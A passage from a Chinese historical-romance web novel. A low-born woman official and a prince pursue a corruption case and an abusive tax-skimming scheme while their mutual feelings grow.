“然后呢?”兰见春好奇地问,“这就完了?完——了?”
“昂,”萧沃烫着似的闭上了眼睛,“给彼此都留个面子。”
兰见春笑不出来了:“她一定很喜欢那个男人……青梅竹马,两小无猜的……”
她想起了何瑞生,她的青梅竹马。
她看向窗外,京城又下雪了。
萧沃看她愣神,问:“你在想你亡夫吗?”
“对。”兰见春大大方方承认,“我们也是青梅竹马。他比我大两岁,从小就很照顾我,一块馍,他总会掰一大半给我……长大后也一样。每年下雪,他都会早早起床,帮我把院子清扫干净。他教会我识字、读书……我很感激他。”
兰见春眼里出现了他从未见过的柔软温暖的光芒,但那光照不到萧沃身上——那里面满满都是何瑞生,惹得萧沃心里酸溜溜的。
兰见春抽抽鼻子,她不能说太多关于何瑞生的事,会难过,会愧疚,会特别特别愧疚。
兰见春说:“最后怎么解决的?”
“我让她的男人离开上京。”萧沃叹息,“她不愿意,我们大吵一架,最后她拗不过我,还是要把人送走。”
兰见春说:“王妃一定很难过。”
萧沃别开了目光,有些不服气地说:“为了靖国公府,她别无选择。”
兰见春问:“所以你把她的人送哪里去了?”
“潼裕。一是为避避风头,二是为调查萧老二。”萧沃恢复了冷静,“潼裕必须有一个信得过的人盯着。我虽跟她二相公不对付,但我信得过他俩之间的感情。”
兰见春点点头:“你很明智。”
萧沃看向兰见春,眨巴眨巴眼。
兰见春问:“怎么了?”
“你之前说,有东西要给我。”萧沃侧头看她,“还没给我呢。”
“哦!”兰见春揭开了胸前的几个口子,把手伸进了怀里。
这可给萧沃吓坏了,连忙别过头、挡住眼睛:“你你你——干什么呀!”
兰见春从胸衣里抽出一摞纸:“有瑞生的遗书,还有
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吴同知让我给你的。”
“吴泪?!”萧沃一回头,见兰见春那边衣服还没系好呢,赶紧又把头扭了过去……还好什么都没看见。
兰见春很快就把衣服穿好,说:“殿下转过来吧。”
萧沃一个箭步滑到了她床边,接过了那些染着血的纸张。
兰见春把何瑞生跟章玉良画的符号抽出来摆在床上,萧沃看着两只眼睛,只觉头痛欲裂。
兰见春指着其中一幅:“这就是我之前要给你的。瑞生撑着一口气,逃回了村里,就为了把这个给我。”其实还有一份放妻书。
她指着另一幅:“这是章玉良在狱中画出来的。他说,这是‘上位’的符号。”
萧沃立刻警觉:“上位?皇帝吗?”
兰见春摇头:“不是皇帝也不是二殿下,另有其人。章玉良说,这是他背后的靠山。他升官发财,都仰仗了这位。他这回入京,本来是要把罪责都拦下来,是因为这个‘上位’跟他说,会保住他的家人。”
萧沃问:“章玉良要承认,他是自己突发奇想,突然有了熊心豹子胆,要吃朝廷赈灾吗?”
兰见春点头。
“鬼才信,”萧沃骂道,“替老二背锅呢!”
“所以说,这个‘上位’虽不是二殿下,但绝对跟二殿下有千丝万缕的关系。”兰见春说,“有件事我一直都没跟你说,就是我们村被屠,我好像猜到为什么了。”
萧沃说:“反正不是因为何瑞生。”
兰见春惊讶道:“你怎么知道?”
萧沃冷哼一声:“因为何瑞生罪不至此。”
“对呀。”兰见春说,“我们村与力剌相隔仅一里地。所以我们村有很多货郎,把我们的东西卖出去,再把他们的东西买过来、卖给我们。屠村那天,有一个货郎就跟我,‘都是那些蛮子带来的’。”
萧沃问:“他看见了什么?”
兰见春说:“我和吴同知都觉得,是‘上位’与力剌人的买卖。”
“朝廷不准官方买卖,若是官府的人偷偷跟他们做买卖,被人知道了要杀人灭口,倒说得通了。”萧沃顿了顿,“他们做的什么买卖?”
兰见春说:“这就得要你的人帮忙去查了。”
“好,我一会就通知二相公。”萧沃翻看章玉良的口供,说,“吴泪这是顶风作案,她不该插手这件事。”
兰见春说:“她说,只因见不得有人粉饰太平。其实我们从很早就开始查二殿下了,但一直无所获,直到章玉良来。”
萧沃问:“你们遇见了危险,对不对?”他正好看见了章玉良的最后一笔——没写完的“是”字。
兰见春点头:“连云栈来了,她要杀了我们。甲处的千户虞水,为了保护我们,死了。”
兰见春流了泪:“我就看着她死在我们面前,但无能为力。司丞救了我们,但也把这件事压了下来,没有追究连云栈。”
萧沃:“乔竹心怎么说?”
兰见春:“她希望吴同知不要管这件事,因为……会被看做是你的党羽,但吴同知还是要查。”
“一个小傻子遇见了一个大傻子,”萧沃小声说,“一群傻子。”
兰见春:“你说什么呢?”
“转告她,我已经知道了。”萧沃坚定地说,“让她忍住别死,我会尽我所能。”
兰见春破涕而笑。
32. 梦话
“所以你着急忙慌地回来,就是为了告诉我这些吗?”
兰见春想了想:“该说的我都说了。”
萧沃说:“你知不知道你生病了?”
“哦——是么?”萧沃这么一打岔,兰见春才想起来自己头疼得很。
萧沃扶着她肩膀:“你躺下吧。”
兰见春抓着被角,清醒过来只感觉如芒在背:“身上味儿……”
萧沃:“那也不能洗澡啊。”
“新被子,”兰见春说,“我身上还有血呢……别人的。”
萧沃就不明白她的思路:“不过是一床被子,过几天我再给你换新的。不许洗澡,病重了怎么办?”
兰见春说:“挺好的,我就想有场病,休几天假。”
“不能拿自己的身体开玩笑。”
兰见春说:“我这不是风寒,就是吓的。哦对,听说磬音楼有药浴,听说对身体特别好,我想去。”
“我就没听说过有人上赶着发烧的。”
兰见春解释道:“不啊,你想,我就是为了生病、旷工,让同知骂我,跟我生了嫌隙。审章玉良的时候我也在,在连云栈眼里,我、同知、虞千户,都是一伙人。”
萧沃转头问她:“连云栈是什么人?你以为你们那点小伎俩,能骗过她?她要杀连你一块,那种人杀一个不多杀两个嫌少的,踩死你就跟踩死一只蚂蚁似的。”
兰见春说:“那我也不想上衙门了……怕。”
萧沃把她的披风扔给她:“走。”
—
这时候也就罄音楼还开着。萧沃轻车熟路,带兰见春往浴堂去。
他带她去的这间只有一个池子,兰见春有些疑惑:“那殿下呢?”
“我昨个刚泡过,再泡得秃噜皮了。”萧沃没告诉她,这池子是自己专用的。
朴实老实的乡里人兰见春愚钝地点点头,接过萧沃递来的新衣、毛巾,便问:“在哪里换衣服?”
萧沃指向左边:“屏风后边。”
兰见春继续点头,也不知道是浴池的热气熏的,还是她烧的,兰见春的脸特别特别红,像醉了酒。
兰见春回头看浴池,好大的一个池子,起码得有十多个浴桶那么大:“这么多水,就给我一个人洗澡?”
萧沃点头。
“太浪费了。”兰见春难为情地说。
“不浪费!它……”萧沃说,“泡过澡之后,就会流出去,泄到上京河里,沿岸的百姓就能取河里的水,捣衣、灌溉……不会糟蹋的。”
兰见春迟钝地点点头,但她还是会觉得可惜,说:“就这一回,我再也不来了。”
萧沃说:“你别怕我破费。”
兰见春摇头:“我是可惜这么多干净的水。要是旱的时候有这么一池水,我的麦子就不会死了……”
今天的水怎么能救昨日的旱呢?萧沃没有嘲笑她的吝啬,反倒真觉得自己浪费了很多东西。
萧沃:“就这一回,以后我也不拿这么大的池子泡了。回头我跟行远说说,把大池子都拆了。”
“那不行,这是人家的生意。”兰见春说,“你不泡了是你的事,不要仗着自己是皇亲国戚,就压他一头。”
萧沃:“好——”她说的真对。
兰见春走向了屏风,萧沃识趣地说:“你泡,我去外面。”
“好……”
萧沃离开浴堂,回到自己的雅间。他看着厅中的空间,他常让人在这里唱戏。自己就像现在这样窝在软塌中,摇着象牙扇醉生梦死。
现在自己还坐在这,为何没有一丝丝惬意,反倒觉得如鲠在喉如芒在背?
萧沃站起来,一直在厅中打转。他没办法克制自己不去想浴堂里的情形,没办法不去猜测她解开衣襟后里面到底是什么风景——这太荒谬——太无耻了!
萧沃的脸烧的滚烫。
的亏他什么都没看见,才没有想象的空间。他感觉自己罪恶滔天,竟有如此丑恶的想法,简直无法宽恕。
萧沃又把自己摁回了软塌里。
以前,他平心静气的方式就是打金簪。母后活着的时候,他就把亲手做的金簪子插在母后的云鬓上;母后走了,他就把做好的簪子存起来,这么多年,都攒了一柜子。
他又站起来,翻开自己的柜子,取出自己打金用的工具,借着烛光开干。
他先在纸上画样式,依然是他最擅长的凤凰。但这只凤与他以往画的不同,喙是朝上的,像是在对天长啸。
他越画越细,精致到凤的每一片羽毛都栩栩如生。光草稿就废了好多张,都忘了兰见春在池子里泡了一个多时辰。
天亮了,萧沃终于画出来了新样式,他兴奋地喊:“兰夫人!”
没人应答。
“兰夫人?”萧沃在屋子里打转,人不在,“兰夫人?”
——不会还在浴池里吧?
别出了什么事!他吓得一激灵,冲到浴堂外大声喊:“兰夫人!”
还是没人理他。
“兰夫人!兰夫人!”
没人理他,别是淹死在水里了!他都不敢细想,直接闯进了浴堂里。
却见她跟浮萍一样漂在水面上,脸色苍白,跟死人一样,给萧沃吓坏了。他直接跳进浴池里,把人捞了上来。
他坐在池边,一直拍她的脸:“醒醒!”
兰见春脸都让他扇红了,还不醒呢。
萧沃赶紧给她裹上干披风,把人扛到了他的软塌上,立马狼狈地往外冲。
“顾鸥!顾鸥!”萧沃在罄音楼里大喊大叫,见到门就敲,像个迷了路的孩子。
当然,顾鸥不在。
“殿下?”早早起来吊嗓子的赛珠秀听见了他叫喊,立马回到楼里,见萧沃大吵大闹地找顾鸥,她担心地问,“殿下,东家不在,您怎么了?”
“快去找大夫!”萧沃哭道。
赛珠秀还以为是他有了什么事:“我这就去!”
赛珠秀很快就找来了大夫,这是专门给罄音楼里的人看病的,口风很紧。
一伙人急匆匆地来到萧沃的房间,见到他软塌上的女人,赛珠秀震惊地看向萧沃。
萧沃抓住大夫的手:“她她她……昏过去了!”
大夫跑过去给兰见春把脉。
赛珠秀眼珠子快瞪出来了——这大殿下,怎么下手没轻没重的?
“她
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昨个发烧了,要泡药浴。我就带她来了,结果人在池子里泡了好几个时辰!我进去一看,人都漂起来了,她是不是死了?!”
赛珠秀感觉自己听见了不该听的,但她又不想走,天大的热闹怎么能走?
大夫摇头。还没等他说话,萧沃就惊叫:“人不行了?!”
“不是,不是!大殿下稍安勿躁!”大夫把脉,好久才说,“这位姑娘只是睡着了,睡的太沉了。”
萧沃着急地问:“可是我刚才怎么叫她她都不醒!”
大夫摇头:“她没事,只是过劳跟惊吓,休息一段时间就好了。”
萧沃:“当真?”
大夫说:“确实如此。”
“你不许走,就在这,等她醒。”萧沃转头看赛珠秀,“你过来帮她把衣服换了。”
“好。”赛珠秀赶紧收回打量兰见春的目光,凑上来要给她换衣服。
萧沃扯过大夫的衣服:“你跟我出去,外面等着。”
“殿下!哎呦!”大夫跟工具似的被他拎来拎去的,到了外面,他频频看萧沃,最后才说,“殿下,男女之事切莫操之过急。”
萧沃不明所以:“啊?”
大夫:“好在这姑娘习过武,不然真遭不住。”
萧沃:“啊??”
大夫:“殿下应徐徐图之,人家姑娘要是不愿意,您总不能——强迫人家吧。”
萧沃:“啊???”
大夫非常体谅他:“草民知道,这些话不该说,但今日这姑娘……草民这才想,得把话跟您说明白了。”
萧沃算是知道百口莫辩是什么感觉了:“我什么都没干……”
大夫点头:“我明白。”
萧沃:“我真的没有!”
大夫点头。
早晨,软塌上睡到昏迷的女人,衣衫不整的男人,惊吓、劳累……萧沃叹息:“我跳进黄河都洗不清了……”
过了好久,赛珠秀才端着一堆湿衣服出来,对大夫笑道:“您可真是冤枉殿下了。”
“换好啦?”萧沃进去,看见兰见春好端端地躺着,晨光落在她脸上,眼睫毛都亮晶晶的,他的心顿时静了下来。
萧沃分别对赛珠秀和大夫作揖:“谢谢珠姐,谢谢大夫。”
“殿下折煞人了。”赛珠秀笑,“那我就退了?”
“慢行。”萧沃让出了路。
大夫识相地在外等,萧沃回到房中,躺在了她对面的软塌上。他用手枕着后脑勺,望着房梁嘟囔:“我是那种人么……”
当他静下来,才听见兰见春规律的呼吸声。他转头望着她的脸,一股莫名的幸福在心头化开。
“如果我早一点遇见你就好了。”萧沃伸出食指碰她的鼻尖,轻轻得像抚摸自己娇养的花朵。
“那也没用。”兰见春呢喃道。
萧沃坐了起来:“兰夫人?”
不理他。
萧沃推她的肩膀:“你醒了?”
不理他。
萧沃失落地说:“耍我呢?”
“……”
萧沃问:“为什么没用?”
她却说:“我还得上山……打猎……”
33. 虎娘
兰见春一直睡到了晌午才醒。
“梳洗一下,再过来用膳。”萧沃把盘子摆好,有的摆的不整齐的,他还特地把盘子摆正,趁兰见春不注意,偷夹了一块糖醋小排吃。
兰见春站起来,朝萧沃走来,步履虚浮,眼神执拗地盯着他,声音低沉但清晰:“道歉。”
萧沃闻言,“啪嗒”一声把筷子撂在桌上,慌忙将口中骨头吐出,以为她说自己闯进浴池里的事呢,赶紧说:“我错了。”
兰见春望着他。
萧沃态度非常认真:“你得怪我,我那时候太着急了,真怕你淹死在池子里!我应该出去找珠姐来,我不该脑子一热就下水了。但我保证,我当时管着自己的眼睛了,没看别的地方。”
兰见春摇头,继续说:“道歉。”
“我错了。”萧沃想了想,自己还做错了什么?难道是因为自己为了把她叫醒,拍了她好几下脸?萧沃说:“我千不该万不该打你的脸,那那那我也不敢碰别的地方啊!你叫也叫不醒,我只能拍了……”
兰见春焦急地摇头:“你得给王妃道歉。”
萧沃二丈和尚摸不到头脑:“我什么要给她道歉?”
兰见春说:“明明你都同意让她把人带回家了,结果把她喜欢的人支潼裕去了,分明是你不讲理!”
萧沃:“你脑子没事吧?”
兰见春摇头:“你得给她道歉。”
她表情非常认真,萧沃都不敢看她,一看就想笑。
兰见春:“为什么笑?”
“我笑你。”萧沃抱着肚子大笑。
兰见春皱起眉头:“你要是给人留面子,你都不能进人家的屋子。”
萧沃无奈地笑:“我要做戏给别人看。”
“做戏?”
萧沃点头:“我怀疑我那同父异母的妹妹昌宁公主,在王府安插了眼线。如果她知道我闹了这么一出,她肯定会有所动作。我就可以顺藤摸瓜,把家贼揪出来。”
兰见春脑子钝钝的,怎么想都没想出有什么漏洞:“你没骗我?”
萧沃举双手投降:“从我认识你到现在,我对你说的唯一一次谎话,就是我说我是景公子。从那之后,我再也没骗过你。”
兰见春这才点头,决定放过了他。洗漱过后,发现萧沃已经帮她把饭菜准备好了。
“今天还去晦朔司吗?”萧沃用一双新筷子给她夹了青菜,“你的病还没好利索,吃清淡点。”
兰见春摸摸自己额头,还烫着:“暂时不去了。”
萧沃问:“你放心不下吴泪吗?”
兰见春点头:“我怕章玉良死连云栈手里。”
萧沃想了想:“刑部还未量刑,晦朔司不敢让他们轻易死在自己手中。何况他已经说不出来话了,连云栈应该会留他一命。”
兰见春点头,脑袋里就像灌了铅似的重。她闭着眼,一个粒一个粒地夹米饭吃,看样子快睡着了。
萧沃恳切道:“稍微吃点东西,一会好把药喝了。”
兰见春勉强睁开眼,吃个饭都得费好大的力气。一想到病好之后就又得回晦朔司战战兢兢地过日子,她就怵头。
萧沃看出她的不对劲:“你怎么了?”
兰见春轻叹一声,说:“磬音楼的椅子太软了,饭菜太好吃了,跟天堂一样,来了就不想走了。”
萧沃没往深了想,接过她话茬说:“你既然喜欢,那以后就多来,反正我一年得有八||九个月住在这,你来了走我的账的就好。”
兰见春摇头:“我是说——日子过得太好,容易乐不思蜀。”
萧沃顿了顿,抬眸凝望她:“你是不想——”
“虞千户死的时候,我就在想,我什么时候死。”兰见春沉默片刻,“前几天还在一起接犯人入京……甲处的人死于内斗,死了就死了,没什么意义。”
萧沃想起吴泪给他的那些证词:“所以吴同知托你把证词带给我,也是怕自己不知道什么时候就没了……”
兰见春点头:“比起死,自己一直坚持的事也因为死亡而一笔勾销——更可怕。”
萧沃问:“你想退了吗?”
兰见春望着他:“从小到大,我都没过过想现在这样好的日子。我不知道我走这条路对不对……我也不知道我能坚持到什么时候。”
萧沃撂下筷子,认真地说:“你觉得你做这些,是为了什么?”
“为了给瑞生报仇。”
萧沃有些失落:“如果我是何瑞生,我不希望你为了一个死人报仇。”
兰见春疑惑地摇头:“你不明白。我们……”
萧沃打断她:“你是又想说,你们是青梅竹马、感情深厚吗?”
兰见春望着他澄澈的眼睛,她想反驳——“感情深厚”这个词来形容自己和瑞生,或许有些苍白了。
“瑞生是我的家人。”兰见春说,“因为我是我爹从虎窝里捡回来的,所以村里人都害怕我。”
萧沃惊讶地问:“虎窝?”
兰见春点头:“我们那里的人,都喜欢男孩。生下来的女孩,如果养不起,就放到山上‘供山君’,其实就是喂老虎。他们觉得,把‘山君’供奉好了,下一胎就肯定能怀上男孩。我爹说,我应该就是被我亲生父母扔到山上‘供山君’了。”
她语气平淡,仿佛在讲旁人的故事,萧沃却听得喉头发紧,震撼得说不出来话。他知道在很多地方、很多人家都不喜欢女儿。但他没想到在羌榆那个地方,会把女儿扔到山上喂老虎。
他心疼兰见春,更心疼那些被父母抛弃、被世道抛弃的女儿。可这种心疼说不出口,因为他无力改变。
兰见春说:“我爹上山打猎,在虎窝里找到了我。我很幸运,没被‘山君’吃掉。他把我带回村里,村里人很害怕,说我爹动了供奉,山君会发火,必派虎下山祸害人。”
“虎来了吗?”
兰见春摇头:“没有。但因为我的身世,村里的小孩都不跟我玩。只有瑞生……他父亲早亡,母亲改嫁,他与祖母相依为命。村里人都帮衬着何家,唯一的老童生收他为徒,教他读书。瑞生与我同病相怜,他很照顾我。”
萧沃自幼锦衣玉食,他不知道所谓的“照顾”不光是分她一口吃的那么简单。还有在她被同村的人欺侮时,冲出来将她护在自己的臂弯里;在闹匪患的时候,提着斧子挡在她身前;在她父亲病故后,凑钱帮她葬父,还不顾流言,让她搬到自己家中。
兰见春难过地说:“没有他我可能……早就饿死了。他受了委屈,我得帮他报仇。”
“我明白你。”萧沃说,“但我还是那句话,何瑞生一定不希望你为了他,命都不要地去复仇。换做是我,我有一个很喜欢很喜欢的人,我如何为她拼命都可以,但我没法见她因我受苦。”
兰见春问:“为什么?”
萧沃摇头,望着她琥珀色的眼睛良久:“我不知道。”
兰见春失落地收回目光,她更加愧疚了。
“你过得好,他会很开心的。你过得不好,他在那边
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也会为你流泪。”萧沃深吸一口气,“如果你是为了他一个人,才坚持往前走——那我奉劝你,放弃。”
兰见春说:“可是我已经进了晦朔司……”
萧沃摇头:“人不能为了给一个死人‘报仇’而活。何况这个死人还不希望你为他报仇。”
——望见春勿以我为念,勿因旧情自苦。
瑞生的遗书的最后一句话。
兰见春垂眸,流下了愧疚的泪水。准备文试的时候她没想过退,赤手空拳杀豹子的时候她没想过退,但眼睁睁看虞水被人踏死的时候,她是真的害怕了——上京城的人有千百种法子杀她。
萧沃说:“如果你真的害怕,那以后都不要去晦朔司了。我可以帮你编一个假身份,你逃出去吧。”
兰见春抬眼望着他,泪水模糊了视线。走吗?就这么走了,半途而废?瑞生,还有吴沟村的乡邻,那不就白死了?萧沃之前在宗正寺受的罪,那不就是白遭了?怎么能退呢?
萧沃一下子就把她看穿了:“不甘心,对不对?”
兰见春点头。
“你把这事想窄了。何瑞生可不是为了保护你而死,他是为民请命!官府不拿人当人看,他是为了讨个公道而死。你一路走到现在,也不是为了他,更不是单纯的想杀了凶手,你是为了给亲族讨回尊严,是为了证明穷苦人也应该堂堂正正地活着——人就是人,不是蝼蚁。”
兰见春擦了擦眼泪:“公道?公道……对……”
萧沃:“人有生老病死,这很正常。但若这世上没了公道,有钱有权的就可以随便凌辱、践踏普通人,这不对,没天理!”
直到萧沃点醒她,她才认清自己追求的到底是什么。
这世道对普通人来说,太不公平了。
她得讨一个公道回来。
人得像人一样好好地、体面地活着,人也得像人一样死得有尊严、有价值。这世道不好,这天下礼崩乐坏,那就得有人来把错误修正,自己好不容易活下来,好不容易走到这个位置,为什么不能走下去呢?
“我明白了。”兰见春擦擦鼻子,“我不走。”
“恐惧、畏缩,人之常情。”萧沃说,“但兰夫人你,是有大勇的人。你一次次死里逃生,不是我,是命——是命把你推到了这里。你有很重要很重要的事还没做,你必须得活着,明白吗?”
他的眼睛那么坚定。
“不要怕。”萧沃说,“只要我活着,我就会帮你。”
兰见春感觉有一双手接住了她的心——是萧沃。
“你为什么愿意帮我?”兰见春不敢抬头。
萧沃望着她漂亮的眼睛,想说的话到了嘴边,又觉得无比矫情。他想了很久,最后才说:“我不希望天下变成这个样子,烂透了……”
他们沉默了。
“你之前也问过我同样的问题。”萧沃深吸一口气,再缓缓吐出,“我现在回答你。”
兰见春望着他:“不是交易,对吗?”
“我去了丘州,大雨毁了很多村庄,百姓流离失所,我一路布施,钱袋很快就见了底,我发现我能救十个百个,却救不了千个万个,小恩小惠救不了所有人。我很羞愧,那天我想逃回京城。恰好,在路边遇见了你。
“你伤得很重,蜷缩在泥地里,身上都是血。我想起了我母亲,她离开我的时候,也一样……你说,你要去上京。我想,我或许可以尽我所能地帮你——我也想跟这烂天烂地斗一斗,或许,遇见你,就是命运给我机会。”
34. 暗示
“殿下帮了我很多。”兰见春忍不住鼻头发酸。
萧沃摇头:“不,你赢了那场加试,为你我杀下了最关键的一局。那是你自己争来的,我不过是顺水推舟,把你推到了那里。”
兰见春擦擦眼角:“谢谢殿下。”
萧沃欣慰地望着她,那眼神中,还藏着些许其他的意味。他的话只说了一半,剩下的一半,他没办法说出口。
兰见春不是无情的草木,萧沃笃定她知道自己没说完的另一半。但她从来没有予以回应,萧沃也不敢戳破这层窗户纸,怕得到让自己失望的回应,破坏了现有的安宁。
“荫槐!”顾鸥敲他的门,还担忧地望门口,“荫槐!”
兰见春端起碗识相地往内室去。等她藏好,萧沃才去开门,顾鸥手里提着一只画卷。
“你可算开门了。”顾鸥擦擦汗,踮起脚尖往里边看,“人走了?”
萧沃眨巴眨巴眼:“你要干什么?”
顾鸥举起画卷:“债主找上门了。”
萧沃露出见了鬼的表情:“昌宁又来了?”
“就在楼下。”顾鸥说,“我就知道你不是弃兄弟于不顾的人,来来来,你帮帮我,这画像我实在不知道怎么办。”
萧沃拿过他的画卷,空白的。顾鸥收了钱但不知道这事怎么办,只好把画卷拿给萧沃,让他来处理。
“好办。”萧沃笑,“不过……我可不能白画。”
“三七分,我三你七。”顾鸥说,“够不够意思?”
“够了,”萧沃让开路,“进吧,顾伯爷。”
顾鸥帮他把作画用的东西都准备好,萧沃起笔就画。顾鸥拦了一下:“画得快些,人家就在外面等着呢。”
“放心好了。”萧沃在纸上落了一弧线。
兰见春端着饭碗在内室吃饭,透过门缝看他俩凑在一块画画。她当然不知道,萧沃憋着笑画的,是她的“画像”。
萧沃很快就画完了,顾鸥接过来,把画展开给他看:“这能行?”
兰见春看见,萧沃画的竟是一只低头吃面的老虎。简单几笔把老虎画的惟妙惟肖,尤其那贪吃的劲儿,颇为传神。
“这连人都不算,”顾鸥惊讶地说,“你让我怎么交差?”
萧沃抿了一口茶:“怎么不算?栩栩如生好吧?来来来,我要题画。”
之后他写下“所谓伊人,一餐两碗面”,他一边写一边笑,给顾鸥打手势:“别念出来——走,走,拿去交差。”
顾鸥无奈地指了指他,拂袖而去。
兰见春在后边看得好奇得要命,她想知道萧沃到底写了什么,挪出来问:“你写的什么?”
萧沃忍住不笑:“没写什么。”
兰见春指顾鸥离开的方向:“他好像很生气。”
萧沃说:“他活该。”
—
兰见春病愈之后,就回到了晦朔司,回到废件室继续审核文件。
这日,汪琢来到了晦朔司,身后还跟着捧着一堆账目的小太监,他站在晦朔司官署门口:“陛下口谕——”
兰见春跟着朔院其他人一块去听旨,朔院与晦院界限分明,乔竹心在前,吴泪与连云栈一左一右跪在她身后。
“即日起,晦朔司朔院协助刑部、都察院量刑,钦此——”
吴泪瞪大了眼睛,皇帝特准朔院参与潼裕贪腐案,等于给她一个机会,接近“上位”的真相!
乔竹心说:“臣等接旨。”
兰见春随着其他人一块磕头,心说之前皇帝不是不让晦朔司掺和这事么,怎么突然改变了心意?莫非是萧沃上谏了?可她得到的消息是,自从岷王从宗正寺中出来,就一直告病,直到现在都没上过朝。
算了,皇帝让朔院参与量刑,是好事。
“司丞,都察院与刑部的意见都在这了,”汪琢对乔竹心说,“年关将至,陛下的意思是,尽快结案。”
乔竹心看一眼厚厚的账册:“臣遵旨。”
“奴才告退。”汪琢对手下说,“东西放这,撤。”
朔院的人赶紧从他们手中接过卷宗,汪琢走的很快。
“有了靠山就是不一样。”连云栈当着晦朔司其他人的面,暗自吴泪攀上了“岷王”这棵大树。
“连云栈。”乔竹心没说别的,但言外之意是让她别说了。
吴泪假装没听见,继续清点卷宗。
连云栈向她跟前走了一步,说:“查吧,查他个天翻地覆。”
惹得其他人频频看吴泪。吴泪偷偷审问章玉良的事在司内传得沸沸扬扬,如今又来了这么一道圣旨,很难不猜测吴泪与岷王的关系。
吴泪不为所动,也没有跟连云栈解释,对乔竹心说:“司丞,卷宗都已清点完毕,下官回去了。”
乔竹心点头,兰见春便跟着朔院的人回了自己的地方。距离过年还有一个月,时间紧迫,兰见春又被调回了吴泪身边。
卷宗里,记录了屹王从每个贪墨官员的家中搜出的脏银数目,以及这些钱都是谁送的,写得很详细,但有一个非常重要的问题。
“行贿……应该不止送钱吧?”兰见春说,“也会送些奇珍异宝。但这上面都是缴获脏银多少多少,关于珍宝的记录并不多。且拿章玉良来说,除去脏银八千多两,就只有和田玉观音一尊、南海珊瑚一株、辽北东珠五十二颗……依下官看,这账册是不是写少了?”
朔院另一个人说:“不过卷宗里也写了,潼裕有不少官员畏罪潜逃,变卖了诸多家产。而且里面也说,章玉良也变卖了家财,剩下的都是些大物件,还没来得及出手。脏银数目大,这里边肯定有很多卖宝物换来的钱。”
吴泪琢磨出来不对劲:“既然是变卖了宝物,那这账册就有问题。”
有人问:“我不明白。”
吴泪想了想,说:“假如说,章玉良实际有一百件宝物,他决定将其置换成钱以备出逃。他卖了一半,还剩一半,对不对?”
兰见春等人点头。
吴泪:“但是在抄府后,卷宗上却写,他卖了九十件,还剩十件。请问那四十件去哪了?”
有人问:“可是……一百件是同知假设出来的。”
吴泪说:“正常官宦人家,家里有什么宝贝,都会有专人记账。但卷宗中,却没有提到章玉良的自家账目在哪。我们手头的账目,全都是屹王送来的账。这就有一个问题,如果我的假设是真的,那么少的‘四十件’宝物去哪了,我们不清楚。”
兰见春说:“同知的意思是……收上来的钱少了?”
吴泪说:“也有可能多了。”
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有人说:“但这是死结。要想对账,须有这几家的账目,一笔一笔地对。可卷宗里都没提及各府账本的事,我们的人再去潼裕找,找到后一笔一笔地对账,过年前我们绝对完不成量刑。”
也有人说:“而且这都是屹王、都察院、刑部商量好的结果。我们只是审最后一遍……如果把人家的全部推翻、再从头对账,岂不是把这三方都得罪了?”
她们说的不无道理。兰见春看向吴泪,吴泪所说的都是猜测,再派人去潼裕找账本,时间上真来不及了。
就这么算了吗?
“给潼裕传书,按照名单上的人,去找他们府中的账本。”吴泪说,“在新证据出来之前,各位先审手头的卷宗。”
“是。”
吴泪拿出一份名单:“各位按照卷宗所注,找到自己负责的地区和年份,重点关注本地的赋税收支。”
兰见春正好负责查羌榆县的账,吴泪刻意为之。
她先从今年的账开始查,算了好多天终于发现了不对劲。
她找到了吴泪。
“就拿今年二月收完的秋粮税来说,我清清楚楚地记得,羌榆县衙要求我们每户出一两半银子做税。但是,丘州的账目显示,因去年虫灾,丘州实行“减税”,羌榆县税收由每户一两半改为一两。”兰见春把卷宗翻开,指给吴泪看。
吴泪用手指着账册,丘州、羌榆两地官方的文件上都写的是“一两”,这与兰见春说的有出入:“你继续说。”
兰见春压着火说:“实际情况是,所谓的‘减免赋税’,落在每一户人家头上,却是实实在在的‘加税’。”
吴泪猛地抬头:“为何?”
兰见春说:“官府只要现银,所以每家每户要用收上来的粮找各路商人换为银子。而商人呢?借此压低粮价,平时一石粮食换一两银子,收税时两石粮食才能换一两银子。换句话说,羌榆一户人家要用三石粮食才能交上本次赋税。”
吴泪问:“减免的赋税呢?”
兰见春说:“我记得非常清楚,当时税吏来到我们村,只口未提‘减免赋税’这四字。全村人老老实实地按照‘一两半’交的税,没欠官府一点。”
吴泪看潼裕省府的记录,清清楚楚地写着,去年的虫灾严重,巡抚林汝为下令减三成税,各州县不得多加多征。
敢情这帮人说一套做一套,对老百姓征一两半的税,给上边交一两的税。
多出来的半两银子去哪了?
落进各个衙门的口袋了。
兰见春说:“一年两次税收,回回如此。盛平九年征夏税,账册上写的羌榆县衙对每户收一两半,实际对我们收二两。丘州约有五万户人家,每次收税就有两万五千多两白银进了官员的私囊。反观屹王只从章玉良家里抄出来八千两白银,的的确确少了。”
吴泪大为震撼:“这是刮了多少民脂民膏……”
“最黑的其实是这些商人。”兰见春说,“他们在官府催逼现银的时候,大力打压粮食价格。”
吴泪问:“官府就放任他们?”
兰见春点头:“官府不管。”
“这就是官商勾结。”吴泪咬牙切齿地说,“这帮商人敛上来的粮食肯定也会跟官府分……疯了,这帮人会下地狱的。”
35. 告别
腊月初一,叶崇就要出发去潼裕了。
一大早,景思娴就让丫头扮成她的样子乘车去了白云观,而自己则穿上丫头的衣服跟着张妈妈出府“采买”,她要去送送叶崇。
两人选在了菜市外围的一个小柴房见面。
朝阳滑进了屋子,顽皮地爬上景思娴的脚踝。“吱嘎”一声,门悄悄地开了。她转身,看见他一袭黑衣,正站在门口笑着望着自己,一如光彩熠熠的十七岁。
景思娴冲过去抱住了他,叶崇亦尽己所能,把她揽进了怀里。
“娴儿,不如……就跟我逃吧。”说这句话,叶崇要下很大的决心,“我不想……继续偷偷摸摸了。我们逃到天涯海角,让他们永远都找不到我们。”
景思娴只是哭,她揪紧了叶崇的衣服,像抓住救命稻草。
叶崇的心也被她揪得发痛,他使劲闻着景思娴身上的香气,说:“我不想像老鼠一样躲来躲去,只要我们逃出去,我们就能光明正大地在一起。”
景思娴疼得倒吸冷气,她摇头。
叶崇抓住她不放手:“娴儿——王府就是个吃人的魔窟,你就算逃了,那也是他萧沃欠你的。”
景思娴使劲摇头。
叶崇愤懑不已:“当初若不是他为了巩固自己的权势非要娶你为妻,我们的现在绝对不一样。”
“慕之,你错了。”景思娴推开叶崇,“下旨的是陛下,不是表哥。”
叶崇叹了口气。
“表哥曾为了退婚,在乾清宫跪了五天五夜。”景思娴下巴一直在抖,“我们都同病相怜,你不要把对陛下的愤怒撒到表哥身上。”
叶崇把头扭向一边:“我就是气不过……我心疼你。”
